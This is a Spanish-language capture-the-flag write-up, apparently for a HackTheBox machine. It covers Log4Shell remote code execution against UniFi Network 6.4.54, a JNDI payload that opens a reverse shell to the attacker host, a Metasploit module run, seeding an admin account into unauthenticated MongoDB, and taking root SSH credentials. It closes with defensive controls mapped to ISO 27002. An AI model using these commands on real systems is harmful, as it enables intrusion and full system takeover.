Técnica clave: RCE por Log4Shell en UniFi Network (6.4.54), abuso de MongoDB sin autenticación para sembrar un admin y exfiltrar credenciales SSH de root. ⚠️ Flags y credenciales de la box redactadas en la versión pública (cambio los valores a genéricos; tu captura tiene los reales).
sudo nmap -sC -sV -T4 <IP>
| Puerto | Servicio | Observación |
|---|---|---|
| 22 | ssh | OpenSSH |
| 443/8443 | https | UniFi Network — cert: CN=UniFi, O=Ubiquiti Inc. |
| 8080 | http | Controlador UniFi (login) |
El panel https://<IP>:8443/manage muestra UniFi Network 6.4.54. Esa versión es vulnerable a Log4Shell (CVE-2021-44228).
UniFi loguea el parámetro remember del POST de login en Log4J sin sanitizar. Se inyecta un lookup JNDI ${jndi:ldap://<LHOST>:389/...} y se monta un rogue LDAP/JNDI en nuestra máquina:
tcpdump -i tun0 port 389 -v &
# RogueJNDI sirviendo el payload
java -jar RogueJndi-1.1.jar --command "bash -c {echo,<rev-shell-b64>}|{base64,-d}|{bash,-i}" --hostname 10.10.x.x
nc -nlvp 4444
Captura la salida de tcpdump en tu sesión → el servidor hace el lookup LDAP saliente → Log4Shell confirmado.
Alternativa automatizada con Metasploit:
msfconsole
use exploit/multi/http/ubiquiti_unifi_log4shell
set RHOSTS 10.129.96.149
set RPORT 8443
set SSL true
set LHOST 10.10.x.x
set LPORT 4444
exploit
Se completa el reverse shell contra 10.129.96.149:8443: somos root en el contenedor/shell del controlador (banner de verdad de la box).
Por qué funciona: Log4j resuelve
${jndi:ldap://...}haciendo una consulta LDAP saliente a nuestra infra; el rogue handler devuelve una clase/payload que el servidor ejecuta. Cualquier dato no sanitizado que llegue a unlogger.*()es un vector.
Enumerando procesos aparece MongoDB escuchando en 127.0.0.1:27117 sin autenticación (instancias del controlador UniFi usan la BD ace):
mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"
Se ven los usuarios del panel con x_shadow (crypt SHA-512, prefijo $6$). En vez de crackear, se siembra un admin controlado:
mkpasswd -m sha-512 <mipassword>
mongo --port 27117 ace --eval 'db.admin.insert({
"email": "null@localhost.local",
"last_site_name": "default",
"name": "admin_sombreado",
"time_created": NumberLong(100019800),
"x_shadow": "<hash_sha512>"})'
Con ese admin sembrado se entra a https://<IP>:8443/manage:
- Settings → Advanced / Site expone un toggle que habilita SSH.
- Settings → Site revela la credencial SSH de root del propio UniFi en claro (la relación app→equipos la mantiene el controlador).
ssh root@<IP>
Con la credencial descubierta en los settings se entra directo como root y se leen user.txt y root.txt.
Por qué funcionó: el controlador guarda los secretos de los dispositivos (y del propio host) en settings accesibles desde el panel — y el panel quedó nuestro por la siembra en Mongo. Sin exploits de kernel: un servicio mal configurado (Mongo sin auth) + secretos en claro.
Controles faltantes en la víctima:
1. Componente con CVE-2021-44228 sin parchear (Log4j 2.x < 2.17/JDK 8u191).
2. MongoDB sin autenticación en 27117 (debería bindear a lo justo y exigir auth).
3. Secretos en claro en la config del panel (root SSH password en settings).
4. Sin aislamiento: servicio expuesto a la red y acceso no monitoreado a la BD.
Mapeo a ISO 27002:2022:
| Control candidate | Acción concreta |
|---|---|
| 8.8 | Gestión de vulnerabilidades técnicas: inventario CPE + ventana de parcheo (Log4Shell se previene actualizando) |
| 8.28 | Codificación segura: validar/sanitizar input antes de loguearlo (no dejar ${...} llegar a Log4j) |
| 8.10 | Configuración segura de BD: bind localhost + autenticación obligatoria en MongoDB |
| 8.24 | Secretos: no persistir contraseñas SSH en claro en config accesible por web |
| 8.16 | Actividades de monitoreo: detección de lookups LDAP salientes anómalos (comportamiento JNDI) |
UniFi 6.4.54 → Log4Shell(${jndi:ldap}) → RCE → Mongo 27117 sin auth → sembrar admin → panel admin → credencial SSH root → root
Nota de trazabilidad: reconstruido desde capturas de sesión (7 ago 2026); IP de box variable por sesión HTB.